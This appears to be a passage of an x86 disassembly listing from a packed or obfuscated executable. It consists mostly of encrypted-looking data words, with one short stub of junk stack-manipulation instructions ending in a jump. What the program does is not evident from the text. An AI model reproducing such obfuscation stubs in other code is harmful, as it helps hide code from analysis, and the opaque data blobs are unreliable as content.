		dd 4DA10952h, 5D29BDEBh, 7EC3941Dh, 50BDA204h, 13DD0B4Ah
		dd 0FED3DEF5h, 0BD857B18h, 1DCFBB33h, 434EC394h, 0C049B10Eh
		dd 0DE3286BBh, 68C8DD30h, 5663B41Ch, 0F9918E72h, 9ABAB389h
		dd 277CCD21h, 7E52B61Ah, 0BECA62ECh, 31C394AAh,	3B2B1FC9h
		dd 0C3902AF9h, 71F507E5h, 3C682815h, 0C8B78E94h, 535254F2h
		dd 5337BFC9h, 0D43C6828h, 0AB1F227Bh, 7B8A7357h, 6886FA4Eh
		dd 0BEA590E5h, 87BAC332h, 579CE469h, 6828ABDFh,	0E2C63C3Ch
		dd 6A55AF1Eh, 0EFFE38E6h, 516CB865h, 0EF6EA9EDh, 5E8BC5D3h
		dd 0CBD13CEAh, 7CAD6FF4h, 55323DC0h, 37h, 0F8D5DEB3h, 384CE072h
		dd 8FC3941Dh, 75B59D4Bh, 0A6CE1C27h, 0BD9F2B63h, 432A9EE4h
		dd 0C78EC35h, 833A60F3h, 6F75BBFh, 0C17CC0FDh, 5848C2C3h
		dd 495A4342h, 0BD11E77Ch, 0B2831A1Eh, 3F8F5E35h, 948275D9h
		dd 0DF5785F9h, 0C3948DABh, 2528C63Ch, 1911E5D0h, 0FA72F883h
		dd 0BD9FA6FBh, 2FD50E74h, 9F710E6Fh, 0D5DE65DBh, 38B406F8h
		dd 618FBACDh, 50CCDFBh,	8D323740h, 90277D95h, 0B841EFB4h
		dd 50h,	870E6F44h, 941D1B6Fh, 0B296ECC3h, 511EBDDCh, 0CCFB0D6Ah
		dd 0CBFB0478h, 7641571Ch, 0F27AF412h, 0C394F496h
		dd 0BD4F2119h, 790DA133h, 0CEC3941Dh, 0BACE66F4h, 0DC3941Dh
		dd 0DE251B35h, 7B18FED3h, 37C885h, 0B7240000h, 6C1D5197h
		dd 0D74DFB38h, 0EB710E6Fh, 53C89174h, 0B6CA3228h, 0E3C73B8Fh
		dd 29BDDF45h, 0C3941D5Dh, 0BDA2047Eh, 0FED3DE47h, 0BB33BD18h
		dd 0C3941DCFh, 0E4CC7A40h, 0F8D5DE22h, 0C2D7C614h, 4F8D59F7h
		dd 77C3909Dh, 3E4BB03Dh, 0ED37D003h, 31DC6ED2h,	2C60D4EBh
		dd 15F10B02h, 58CC58BBh, 3C6FC82Ch, 93A05FA3h, 0E408D2E6h
		dd 3C6F03E0h, 4B3F1367h, 0F51AABEDh, 5B7A4BAFh,	0C4FEB54Ah
		dd 688173E0h, 41323C1Fh, 1Eh, 0F8D5DEAFh, 5B768372h, 3745A5ADh
		dd 0F7B63E2Ch, 78BD9F05h, 5C56BE02h, 625FA851h,	0D5DE03F1h
		dd 99C614F8h, 4D9ADB12h, 1AA24C89h, 0FB73F982h,	0BD9FF0DEh
		dd 11B9FEAFh, 62D6CA09h, 9620CA2Eh, 61B06A1Eh, 6B85FD3Ah
		dd 0E6F0888h, 40A495E4h, 0C233BDEEh, 0DC3084B1h, 941D7014h
		dd 35EFB7C3h, 0C3CA94F5h, 1074F874h, 97C39422h,	0A9A14FA3h
		dd 6DD5DED7h, 57C92D18h, 33BD4CB4h, 941DCFBBh, 0CC7A40C3h
		dd 4004AB52h, 3D8637h, 0BD6E0000h, 0DA744550h, 0E139BBC2h
		dd 362A6ED2h, 5D29BD50h, 0D2C3941Dh, 33BD76E8h,	4A9AB7C2h
		dd 0C3941D3Eh, 0CD9F49B1h, 4750BD37h, 0D7BB869Fh, 9C719FF3h
		dd 7BDABC8Dh, 2AC885h, 0BD500000h, 0DE084150h, 0BAA0BFDEh
		dd 1DC08428h, 7347C394h, 0F84C798Ah, 0BDF46A84h, 941D5D29h
		dd 0A2047EC3h, 0D3DE47BDh, 857B18FEh, 14F8D5DEh, 909D1EDCh
		dd 7A455FC3h, 0E6D12796h, 20ADE712h, 0B89CA3FBh, 0C9535248h
		dd 4CFAC7DCh, 5A99B4C1h, 0D3F691CEh, 10AD9CCEh,	0E04CF770h
		dd 0FD2B0F9Dh, 0A83C0710h, 3C6F9ADCh, 0E10B6F53h, 3AD4E534h
		dd 0BDC6D6D6h, 9C9E07AFh, 5DEF4264h, 6F1B3DFEh,	8B5B7C2Ch
		dd 3A64CFFFh, 0B8879F70h, 0B89CF0D4h, 0E6F5DBBh, 65DB9F71h
		dd 6F8D5DEh, 0CCD4CB4h,	25374005h, 2Eh,	710E6FC3h, 5D29BD9Fh
		dd 0D2C3941Dh, 33BD76E8h, 1D790DA1h, 0F4CEC394h, 0D3DEE45Ah
		dd 5D21186Bh, 4B8A9079h, 857BF157h, 27C8h, 0E6F5000h, 1EBD9F71h
		dd 6F79A463h, 0E89C1089h, 7FC394DAh, 6709271Bh,	94DABBCFh
		dd 8C62A0C3h, 0D3DE47BDh, 857B18FEh, 1B6DD5DEh,	9564582Ch
		dd 8CC0B483h, 405342A8h, 0FB6BDF09h, 0C3909D39h, 1998C725h
		dd 9F5283D6h, 0A8257FA9h, 0D81B3643h, 1BEFDA2Fh, 78E27903h
		dd 64EDD9F4h, 8654AE42h, 0A394F074h, 0B21B3A64h, 0ADE1556Ch
		dd 3CC49F49h, 9F710E6Fh, 50BD65DBh, 0D5840841h,	0CD01F5C0h
		dd 0C5CE3FE9h, 4CB41688h, 40050CCDh, 392537h, 46B70000h
		dd 72E8063Bh, 9F710E6Fh, 1D5D29BDh, 0E8D2C394h,	0BD47BD76h
		dd 860A4750h, 91A8FB42h, 0CE3FE92Dh, 0D37A55C3h, 46D13Ah
		dd 857B4A2Ch, 40C8h, 0AFF92400h, 6F807690h, 0BD9F710Eh
		dd 0EB2C233h, 0C403409h, 1276FE28h, 39C3941Dh, 59D53B4Ch
		dd 0E0BE5B65h, 0BC6DD135h, 0DD7A5E6Bh, 0B2A755F5h, 0BEDC166h
		dd 0D3DE47BDh, 79816CFEh, 7BB6AC5Ah, 0F8D5DE85h, 477A8372h
		dd 99719FF3h, 6653A253h, 0C90BE92h, 0F701EB70h,	0C639F665h
		dd 3E6DB77Bh, 94E25236h, 1CEDD5C3h, 75493D08h, 95E0BDBh
		dd 0ABEFBD9Eh, 0C9D13C48h, 24C2068Ah, 94EA0498h, 0C5B7D35Bh
		dd 0C2383A61h, 0C2261AEEh, 12E59418h, 704A4471h, 0FDC8DD8Ch
		dd 417C8966h, 0D9A075FDh, 509269C4h, 0A9EE56A5h, 88EC2094h
		dd 0A049445Eh, 4BF07A57h, 527DB95h, 39BA5476h, 3A8EBBCCh
		dd 80744B53h, 9FDC0D9h,	0CEDFABC3h, 6A500ABBh, 0D6BA95E3h
		dd 5529A4FEh, 34DDE8A8h, 0E00DD6E3h, 45B0BA97h,	66EA0433h
		dd 3A1h, 9C84CB00h, 9FDD4DEh, 967A57A0h, 12E6D127h, 9B6F52ABh
		dd 63D7EE32h, 0EB5F66BAh, 71C5FC02h, 0FC407988h, 7BCFFA0Dh
		dd 6A2268CFh, 1C890000h, 81E38924h, 4C3h, 4EB8300h, 5C241C87h
		dd 81E38953h, 4C3h, 4EB8100h, 87000000h, 895C241Ch
		db 3Ch,	24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], esi
		push	edx
		push	ebp
		mov	ebp, 611751Ah
		mov	edx, ebp
		pop	ebp
		mov	edi, edx
		pop	edx
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	esi
		push	ebx
		mov	ebx, 8
		add	ebx, esi
		mov	[ebx], edi
		mov	ebx, [esp]
		add	esp, 4
		mov	esi, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	edi, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		jmp	loc_543FDB
; ---------------------------------------------------------------------------
		dd 7B8CF9FAh, 7C89B841h, 0C5030611h, 8403E0FFh,	2745381Dh
		dd 658D0EF5h, 6BAB5F23h, 0EDB76BAFh, 0FE848E6h,	0CB000000h
		dd 0E9CCEE76h, 30509B0h, 0AB4FCDDEh, 0CE8195E9h, 494A8690h
		dd 0C281665Bh, 0C381ADDFh, 72B8h, 0B8F0Fh, 850F0000h, 5
		dd 11F4D4BAh, 6865h, 0DE810000h, 6B43318Bh, 0F08B6658h
		dd 66030C8Bh, 81B3A9BAh, 299883E9h, 8B66530Eh, 0F1815FF2h
		dd 5EE014F6h, 0AE9h, 8ACDDB00h,	0D11621D8h, 81374D21h
		dd 4F3F64F1h, 48F5123h,	19890F03h, 0E8000000h, 0Fh, 7D295D95h
		dd 0EBD95F81h, 4BF17428h, 667CB106h, 5E4FB1BAh,	0E883FB8Bh
		dd 0CF88104h, 0FFFFF8Eh, 1285h,	8CCBBE00h, 1CE95AF3h, 0E5000000h
		dd 2C74959Bh, 0F668B89h, 85E9F7B7h, 86FFFFFFh, 696636ABh
		dd 36C9B988h, 8D5DE1A4h, 117ECC8Dh, 0FE906h, 0CB420000h
		dd 0EF90E48Eh, 53CF4716h, 0CCBAAAEBh, 0C840F95h, 0F000000h
		dd 689h, 0A58D8900h, 89060B2Ah,	0B174D8Dh, 51006A06h, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1504h, 0C3514100h
		dd 85C723C0h, 60B0119h,	72E0h, 33A4DF81h, 7E90A7Eh, 0FB000000h
		dd 0EDDF979Dh, 85C7CE52h, 60B1009h, 0
		dd 2356F381h, 0B5FF582Eh, 60B0DA5h, 1309BD8Bh, 95FF060Bh
		dd 60B0AC5h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 18h,	45C35747h, 0D01355B0h, 0FF006AFCh, 0B32DD95h, 0EBC08B06h
		dd 42AA632Ah, 289700DBh, 3453160h, 0A20F569Eh, 0F1193EE9h
		dd 691D8476h, 8F4953D5h, 650AB18Ch, 4ED9587Bh, 0C91D2473h
		dd 0E80DCCB2h, 0Fh, 7313BE62h, 0D74A33DBh, 0F1A9965Bh
		dd 5301E266h, 0BE9h, 0DE677400h, 0EFF48589h, 0F0D3472Ah
		dd 0C081585Fh, 7333h, 0BAFA8B66h, 1C98h, 89088BF5h, 0B2DE5B5h
		dd 0C4E98106h, 8920452Eh, 0B17E19Dh, 0FBC18106h, 817E98FEh
		dd 2B5C88E3h, 0FC18106h, 2B03FD45h, 0B29FD9Dh, 0E8088906h
		dd 0Fh,	0C8D35F3Bh, 0CF1CD0EAh,	1397E1DEh, 0FC6CF91Ah
		dd 8BE8815Eh, 0E970C853h, 14h, 1D438B54h, 0B3AA3A1Eh, 0BED8E139h
		dd 925C1DC9h, 7B541F0Eh, 5387C081h, 858970C8h, 60B14EDh
		dd 0F01EA83h, 1385h, 3D8D8900h,	0E9060B19h, 23h, 0FFA06581h
		dd 3A2D71E0h, 2D19D33h,	6AE9060Bh, 0B2FFFFFFh, 3BA195F6h
		dd 6DFECFBCh, 0B116C14Ah, 8DA84EECh, 1180838Dh,	57006A06h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1504h, 0C3574700h
		dd 7E9467Fh, 0E2000000h, 0D194B4E5h, 8D89C397h,	60B174Dh
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 19h, 50C35040h
		dd 3430E078h, 0C1B589A6h, 0C7060B33h, 0B011985h, 73B006h
		dd 0C7E58A00h, 0B100985h, 6, 8D896000h,	60B2815h, 8558D8Bh
		dd 0FF61060Bh, 0B0DA5B5h, 0AE806h, 0DE570000h, 0E001A639h
		dd 8180EC63h, 51CE8166h, 95FF5A4Fh, 60B0AC5h, 4880BB66h
		dd 95FF006Ah, 60B32DDh,	2AEBC08Bh, 0DBCC130h, 0B3C3BA8Bh
		dd 0C94AE5E0h, 741C27A1h, 0B679795h, 0D8994507h, 0D9E24EC6h
		dd 91E0A90h, 755AE68Bh,	13E63261h, 8D8D963Bh, 611818Bh
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Bh, 5FC35040h
		dd 0ACCA082Dh, 66F31D56h, 2CAEE281h, 174D8D89h,	6A060Bh
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h, 51410000h
		dd 8B66ABC3h, 1985C7F1h, 94060B01h, 6A00006Bh, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 17042444h, 41000000h
		dd 0A3B0C351h, 958955D5h, 60B2A99h, 2E09B529h, 85C7060Bh
		dd 60B1009h, 0
		dd 0E9D8B70Fh, 5, 8EF69DE8h, 0C9B5FF29h, 6A060B19h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1A042444h, 47000000h
		dd 0EC4EC357h, 0BC0D1FBDh, 0C5E5BBD9h, 95FF4499h, 60B0AC5h
		dd 95FF006Ah, 60B32DDh,	6DEBC08Bh, 0FA5E8479h, 0F531F0B0h
		dd 8C8866E7h, 0E36B5058h, 94E03C7Fh, 954653Dh, 0EB2BFF11h
		dd 44FBEB02h, 156C18E9h, 315B180Eh, 0F4A49B4Eh,	29F058ACh
		dd 6CC3CD0Ah, 5E437616h, 23BF017Fh, 0B63E7CA4h,	0DD733DC2h
		dd 8F73E778h, 8A3B2716h, 0F63C3566h, 0D487162Fh, 0FBCB253Dh
		dd 0F2AE7D64h, 0FC50B333h, 8D709E15h, 0D089628h, 3F2AF7FFh
		dd 6E8C4h, 0DB780000h, 0F0FBF786h, 5BD6BF0Fh, 81F0B70Fh
		dd 65F6C3h, 2B8DB200h, 0EE8166C0h, 34FF87FAh, 0A18D0918h
		dd 5F060B1Ah, 0EF81CB8Bh, 399AB766h, 1B318D8Bh,	0C781060Bh
		dd 299A309Bh, 0C781D38Bh, 452361Ch, 178C0Fh, 12E90000h
		dd 65000000h, 22BCE094h, 0BD3324F9h, 9B85E6CCh,	92A6B875h
		dd 33C8980h, 6609EA80h,	0E883CB8Bh, 3820F04h, 0F000000h
		dd 0F881C9BFh, 0FFFF9A8Ch, 0FF9C850Fh, 8D29FFFFh, 60B29D9h
		dd 837E8D8Dh, 6A0611h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 1C0424h, 56460000h, 299189C3h, 9E90CDD9h, 8D89ECC5h
		dd 60B174Dh, 1BB9B589h,	85C7060Bh, 60B0119h, 74E8h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 0F0C35646h, 90E3458h
		dd 8B788B1Bh, 0B2201BDh, 985C706h, 60B10h, 6A000000h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 14042444h, 41000000h
		dd 892AC351h, 0B0C81B5h, 0A9B5FF06h, 6A060B1Ah,	3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 16042444h, 47000000h
		dd 724EC357h, 41BD29E4h, 0E9060B09h, 5,	0DA75EDE8h, 0C595FF11h
		dd 6A060B0Ah, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 15042444h, 41000000h, 0CBB7C351h, 6AFA8B66h,	0DD95FF00h
		dd 8B060B32h, 0B44FEBC0h, 0CDDF3750h, 73029C6h,	0B5D03910h
		dd 0AB969D48h, 0CFCC3466h, 0E2BC208Eh, 9ACB3AFh, 12E86F39h
		dd 503ADC53h, 21215D1Dh, 0B806503Dh, 0D23AF621h, 0D666ADD3h
		dd 2B81D1F6h, 17432545h, 0A585F0A4h, 4B028BB5h,	7EED53F9h
		dd 4670712Dh, 85C6E1E7h, 60B2845h, 30DF6856h, 0B5FFA9C5h
		dd 60B1355h, 7D18858Dh,	0D0FF060Eh, 5458D8Dh, 6A51060Bh
		dd 0D9B5FF40h, 0FF060B03h, 0B1B95B5h, 0FFD0FF06h, 0B03D9B5h
		dd 95B5FF06h, 0E8060B1Bh, 13h, 77920742h, 0D852DF16h, 74119C59h
		dd 0DE5775C8h, 5801A639h, 4E88358h, 2242CC1h, 22424C1h
		dd 0F7240403h, 0FF2B241Ch, 5B0734FFh, 0CEC381h,	0F3815AF9h
		dd 79DE43A0h, 170EEB81h, 1C89474Fh, 1EF8338h, 3B4F4F4Fh
		dd 850F243Ch, 0FFFFFFD8h, 0EB99D8Dh, 38B060Bh, 840FC00Bh
		dd 7, 5B8B038Bh, 8B188904h, 0ABE9C9h, 8D500000h, 0B11C3F2Eh
		dd 0ABDA5F72h, 0B395A7ACh, 0A1F44592h, 0DA00B395h, 20A7ECABh
		dd 6BB2915Dh, 2096B1F4h, 9B552075h, 0BCF26BB7h,	0A19692A5h
		dd 603A7594h, 329FB799h, 0E9B599BDh, 92A59CB2h,	95ACA3F2h
		dd 97B1EF76h, 0B4F94E00h, 5C009FA5h, 4AF07B6Bh,	0D0008A92h
		dd 0F545F352h, 79A3F653h, 0F144D6D9h, 0F445E3AFh, 0D77D41h
		dd 0BF9792B0h, 60FD756Bh, 0F996BFCFh, 20B293BCh, 9B57207Dh
		dd 9492ABF7h, 0E3B29EBDh, 0E0CE9DBCh, 728F899Bh, 0A9FD8F9Dh
		dd 0F66DB4EEh, 93BCE1B6h, 97B3ED72h, 0A601E800h, 323D94E7h
		dd 9B144883h, 125EE928h, 22680000h, 0E9061187h,	0FFF9F9FBh
		dd 11883468h, 0F9F1E906h, 768FFF9h, 0E9061189h,	0FFF9F9E7h
		dd 118A3C68h, 0F9DDE906h, 0B668FFF9h, 0E906118Ah, 0FFF9F9D3h
		dd 118B6768h, 0F9C9E906h, 1768FFF9h, 0E906118Ch, 0FFF9F9BFh
		dd 118C9768h, 0F9B5E906h, 4168FFF9h, 0E906118Dh, 0FFF9F9ABh
		dd 118EED68h, 0F9A1E906h, 9D68FFF9h, 0E906118Fh, 0FFF9F997h
		dd 1190E968h, 0F98DE906h, 2268FFF9h, 0E9061192h, 0FFF9F983h
		dd 11943168h, 0F979E906h, 4468FFF9h, 0E9061195h, 0FFF9F96Fh
		dd 2E350C16h, 589BB6C1h, 0F66D5CAFh, 21320119h,	5281BCC4h
		dd 1B61FCE3h, 0C9CE3F24h, 76BE6FF4h, 1E6B845Fh,	21CB3023h
		dd 8598F98Dh, 19FF4EC5h, 14F8D5DEh, 0ABF050A5h,	0F5A1B296h
		dd 264E9CA7h, 0BD9F195Bh, 0EAD4DECh, 7690F71Fh,	0C7DDC812h
		dd 8EFA72F8h, 13A6089h,	2B3B0F39h, 3A60895Bh, 119B2A8Eh
		dd 8AA495E4h, 34A17990h, 20502Ch, 6FBC0000h, 40E4760Dh
		dd 0BD9F05D1h, 5090645Eh, 3A60CB30h, 0DA2EBFE5h, 2C35C733h
		dd 11B1Eh, 50BDE600h, 0D4850944h, 0C90DF1CCh, 0C1D23BD5h
		dd 50D466F4h, 0C3941D34h, 0E15560B5h, 3EE8D2ADh, 839500CAh
		dd 69B39AB4h, 0EE3BE256h, 0EDDB3D46h, 108DBF4Bh, 3014F8DCh
		dd 5DC6822Ah, 7149C394h, 0D5DECF1Dh, 3529146Dh,	6FE30D41h
		dd 9B5875BEh, 0BC8D9C09h, 5BBBC292h, 0E259C394h, 0C62EBF6Eh
		dd 4E5425F6h, 2374D977h, 0D720CD16h, 13EC980Ch,	1E6DC394h
		dd 9C7B5F23h, 6CFE42A6h, 0F65A7981h, 54287492h,	8C891DCFh
		dd 0A1BD9F0Dh, 1B62C182h, 0B6AA2F63h, 90ABF1ADh, 76B8224Ah
		dd 0CF33446Dh, 932C931Dh, 0AC0621A4h, 1E62EB05h, 7AAB3527h
		dd 0B2D61E2Bh, 3530739Ch, 0A74023CDh, 0CBE5625Dh, 8C6B1Ch
		dd 0FB94D02h, 0AAFC0000h, 50A74093h, 615F261h, 0A7FF28CBh
		dd 56AA5B98h, 264DF46Fh, 5182BDC7h, 81526FB4h, 3E251064h
		dd 6A89C4D1h, 0A7234BA1h, 28C5859Ah, 1EBDE359h,	3232739Ah
		dd 4EBF6967h, 7AE10B4Ah, 1370F064h, 5DCFA972h, 9DDD1926h
		dd 9471F21Ch, 57ADB683h, 0CFBB33BDh, 40C3941Dh,	5BDD81A1h
		dd 0D236E6BFh, 9A146834h, 905ABE8Bh, 9F4FBD1Ch,	7993B2BDh
		dd 17783B2Fh, 3F379BFFh, 3A61134Fh, 0D427D69Ah,	372B2A70h
		dd 0FA0E9F19h, 2C35FF53h, 0B87Eh, 50BD8600h, 70DD0B4Ah
		dd 0F7A62A27h, 5D4892ADh, 78D07E45h, 941BA1E8h,	0CA0710C3h
		dd 266E9F29h, 0E13155D9h, 4CB63C6Bh, 0ED35E468h, 0CA2E62D6h
		dd 0E9E4311Ch, 0DE26D765h, 113F13E7h, 8654EF8Dh, 60FF6B6Eh
		dd 74E6DC42h, 0A4427189h, 883741C3h, 0D4DDF4F7h, 0B7D3132Fh
		dd 383A60CBh, 49824C2h,	79ED7Fh, 9D446D5Bh, 0F1D5E830h
		dd 5F66BA6Bh, 2E116B84h, 6B779921h, 7F84A8Ch, 0EA7h, 0B2A198EAh
		dd 0EC774255h, 1AD9F003h, 0B5AE95EDh, 0E67D4058h, 0AFF5085Fh
		dd 5DA24390h, 212F360h,	0AAFF28CBh, 0B5B7449Fh,	85955531h
		dd 0F56BDAC5h, 78FBDADEh, 944F7A8Fh, 0BB33BD6Ch, 0C3941DCFh
		dd 7CF07A40h, 0C3941D08h, 808DBB9Fh, 65905A77h,	73573B16h
		dd 7B8C7DD5h, 2978954Eh, 0A8FDAC10h, 0DBCA469Dh, 6550FEC1h
		dd 2989134Dh, 536AB322h, 9446BA3Eh, 9FC23510h, 52A657BDh
		dd 0A746C563h, 4C74DFDh, 187F53C3h, 0EB8CBFCEh,	56ED8F34h
		dd 3D001984h, 83DFAE49h, 3FF3C0D5h, 2B432DDBh, 0BFF5C16Eh
		dd 1717FBDFh, 0F86CFE85h, 41F9DC90h, 0B7C12B6Fh, 0C58C4B3Fh
		dd 2973DC35h, 5A143216h, 0F0635EABh, 38370217h,	8A010DB4h
		dd 0D4987FCBh, 0D900000Dh, 806DF6CDh, 6E9F4475h, 0D8352E23h
		dd 8760F3C2h, 2291427Dh, 0E5D8203Bh, 0B588917Eh, 183741AEh
		dd 0ECD92ADBh, 0CE668A77h, 0C58594BAh, 0DEC6BE0Dh, 0CD72F8D5h
		dd 0CB4EF63Eh, 40C3A3Bh
		dd 598398E4h, 9F3390D5h, 76EDD5BDh, 80C468FAh, 73A6102h
		dd 0F3891533h, 0B138268h, 0DC501A34h, 446A04C9h, 9050241Eh
		dd 307E00F0h, 9A6E7F25h, 262B0E73h, 6F5Eh, 0D6FA600h, 7477E476h
		dd 0F59115E6h, 7AC3947Fh, 495AF700h, 73FD6F99h,	0DC4CE8CCh
		dd 0F610C3D9h, 9EA3C96Eh, 9A40BABDh, 0E9E0E408h, 13673A60h
		dd 7A8A7BF5h, 0E9149043h, 0F8DCA09Fh, 0E9C4864Eh, 3C493A60h
		dd 0DF2ADB01h, 21A344E2h, 0E96B1F97h, 86FC3A60h, 0A493E568h
		dd 74F80AD0h, 3A60E910h, 0CB94A397h, 7306E91Eh,	0F044BB55h
		dd 0EC00000Ch, 0E4760D6Fh, 859A6140h, 0F601EEBDh, 3F1377DBh
		dd 9AB7C02Dh, 6E5BAC59h, 61FA829Ah, 2D0844FBh, 0C076A98Ch
		dd 22204426h, 0AD446B2Eh, 0D168755h, 0B1C22330h, 0D1350811h
		dd 0D46F0D6Dh, 28F3EE06h, 7E444E42h, 8070E5F1h,	5B3C1692h
		dd 0C9Fh, 0BAB990E2h, 0D40F3A4Dh, 2D1E83Bh, 0BDA69DE5h
		dd 0EE754850h, 97ED0057h, 455A4BA8h, 0FA0AFB78h, 0A2F710C3h
		dd 0ADBF4C97h, 85974D39h, 8D73C2C5h, 941D27A7h,	0FE8517C3h
		dd 9802F86Ch, 0A59DBD85h, 0A3F825B7h, 38D62A9Eh, 1860C0D5h
		dd 0CBBF3725h, 5C3A7A61h, 34D10266h, 0A62D6E3h,	0F3971F72h
		dd 743A7A61h, 0ACC02A0Eh, 447162F9h, 0DDFB744Eh, 128C6F30h
		dd 0C255F30h, 1E680000h, 0C4D33C27h, 72816EF5h,	136B845Fh
		dd 0C2D6372Ch, 8AD160F3h, 0CD162973h, 7DE6DB20h, 0AA498490h
		dd 0C61D287Dh, 0CBBF3735h, 5CC58597h, 0D5DE77EDh, 50A514F8h
		dd 2B619165h, 0CC7669Ah, 6CE23240h, 0A000006h, 0E4760D6Fh
		dd 625DAB5Ah, 0B52C619Eh, 0B3795C68h, 3225B15Fh, 0B3BD854Ch
		dd 0AFECBDAh, 9D08D236h, 0F1D5B984h, 1F689557h,	0E0DF29D4h
		dd 7B4D6460h, 1A6E863Ah, 0ED3A7B4Dh, 0FCD02A95h, 5D6CBF6Eh
		dd 946A95E9h, 41BD20FDh, 0A44122CCh, 52926653h,	3A7B3E32h
		dd 7BE17A02h, 703DB6F3h, 4C33744h, 8C6E8ABEh, 74BA1DF5h
		dd 0B900000Bh, 608D566Dh, 0CE3F2415h, 0B8558EC3h, 67805362h
		dd 8231221Dh, 4578805Bh, 1528719Eh, 0F8D721CEh,	4C798A7Bh
		dd 6E866A97h, 0C585961Ah, 0DEA61EEDh, 0A514F8D5h, 61916550h
		dd 0C7669A2Bh, 0E232400Ch, 5BBh, 1D27A70Ah, 8517C394h
		dd 7DE26CFEh, 0EA9BC649h, 0BA94FA40h, 18FE3CDBh, 0AC0BDB75h
		dd 0F0BD85D4h, 0A600F605h, 1EEB3EEEh, 6BE8067Ah, 4ABBC517h
		dd 0D2BB0F36h, 0CC00F4C1h, 0BACF3EE8h, 6EBB548Fh, 0D35DEF53h
		dd 7A0F2F5Bh, 38ACA03Ah, 3A7A0F4Ch, 6D9BFFC3h, 2A304B51h
		dd 710CE782h, 0D5126844h, 8C6F9ADFh, 0C441060Ch, 0C900000Ah
		dd 0B05D86BDh, 1E8F5465h, 0C8253E13h, 0B75083B2h, 3281526Dh
		dd 0F5C8D02Bh, 4578816Eh, 2827719Eh, 0FCC9DACBh, 0DE569A67h
		dd 0C58591AAh, 0DED64E3Dh, 0A514F8D5h, 61916550h, 0C7669A2Bh
		dd 0E232400Ch, 50Bh, 760D6F0Ah,	5CAB5AE4h, 7F33C36Dh, 0F0BD8598h
		dd 60B5608Ah, 14618E55h, 0ED9D5539h, 0F3A7A66h,	8CBA979Eh
		dd 5D76C30h, 7165C4E1h,	36310944h, 8C6F32C8h, 44480FFBh
		dd 4900000Ah, 30DD063Dh, 9E0FD4E5h, 48A5BE93h, 37D00332h
		dd 0B201D2EDh, 754850ABh, 0C5F801EEh, 0A8A7F11Eh, 7C495A4Bh
		dd 5ED61AE7h, 0C585912Ah, 0DE56CEBDh, 0A514F8D5h, 28916550h
		dd 0AE1FE3D2h, 82E76B6Ah, 1B3B5756h, 79445C49h,	20D8D5CFh
		dd 32400D09h, 47A20h, 22A7CC00h, 1CC3941Dh, 0E771FB80h
		dd 941D3B4Fh, 98B68CC3h, 415944D6h, 0C34A8E72h,	9D6987BAh
		dd 0BD859824h, 0EA1BC139h, 4FBEAC99h, 5DE0837h,	0DEA29FE8h
		dd 0B7A5BEDEh, 77139B25h, 0F83A7A66h, 71906482h, 0FE44716Ch
		dd 2A954B84h, 0E85A8C6Fh, 99A17h, 0BC8B9F00h, 23F46A7h
		dd 0D4E534D1h, 0B9989E0Fh, 8374DBAh, 0E6056CEBh, 57B0A392h
		dd 7E0734Eh, 0F01DC6F1h, 4049AAA7h, 904004A8h, 78C7C585h
		dd 0BB33BD80h, 0C3941DCFh, 6C188C40h, 0E3C3941Dh, 808DBB9Fh
		dd 7F65A77h, 8A73C7F2h,	5CFB4F76h, 5EAB4CF9h, 0F104F501h
		dd 1C167CC0h, 23126891h, 0B63771CFh, 0EA094451h, 411FFF2Eh
		dd 1822A32h, 0DE320000h, 0A514F8D5h, 0A0FE6550h, 119547DCh
		dd 0BD9F198Ch, 7DF559A1h, 3A60E70Dh, 47CDD8D8h,	8F734256h
		dd 0BFFD6DEh, 0CB35D337h, 2C350722h, 6F0Fh, 603E9D00h
		dd 0A37974D4h, 7E00F73Bh, 0EA6593C1h, 0D6FC63Ch, 263296ADh
		dd 6559C83Ah, 0C3F206F7h, 3ED1B7Fh, 49F867F1h, 491893A6h
		dd 38C3874Fh, 0EB44C394h, 8D4AAE91h, 0DF91171Bh, 1CE80638h
		dd 0BD9F10BDh, 76C448B2h, 0F1457487h, 0E3E3739Dh, 363A60F6h
		dd 0F09418AAh, 793A60F6h, 68AC102Fh, 3B7DABEFh,	0DBB756AAh
		dd 0D3922C35h, 7A000000h, 0CFBB33BDh, 40C3941Dh, 0D9AD9CEFh
		dd 0E33881E5h, 0F8166ADEh, 41350015h, 0A668098h, 0E61EB254h
		dd 0EFE6A09Eh, 191BEA50h, 9FE85125h, 35AAA779h,	5FB31744h
		dd 65B461EBh, 5430608Fh, 2A0E53D7h, 0C90411FCh,	15CD842Ah
		dd 3B4CC394h, 5EB28D9Bh, 9EEA028Ch, 113C6BFBh, 0E864FF29h
		dd 75D9E43Dh, 0D5A7F711h, 0FF089C4Eh, 1D42666Ah, 390FA3BEh
		dd 9C4AD143h, 7915BBFh,	66249BEFh, 0F8166C3Ah, 0E339E476h
		dd 0C1DB32DCh, 708865FEh, 6568824Dh, 0AF9B8660h, 7EEE8h
		dd 0E8E73300h, 0BE8B9A0Bh, 3948A5h, 0D5EC32D3h,	0A49BE10Eh
		dd 3AD118BFh, 0EB04DFE6h, 5BB4AF92h, 4E1724Dh, 0EC1DC6F3h
		dd 939CE87Ch, 0A413C585h, 0FBDADE3Ch, 4F7A8F78h, 0D5DE6C94h
		dd 50A514F8h, 3407FE65h, 0A1000002h, 0E4760D6Fh, 9F0B4140h
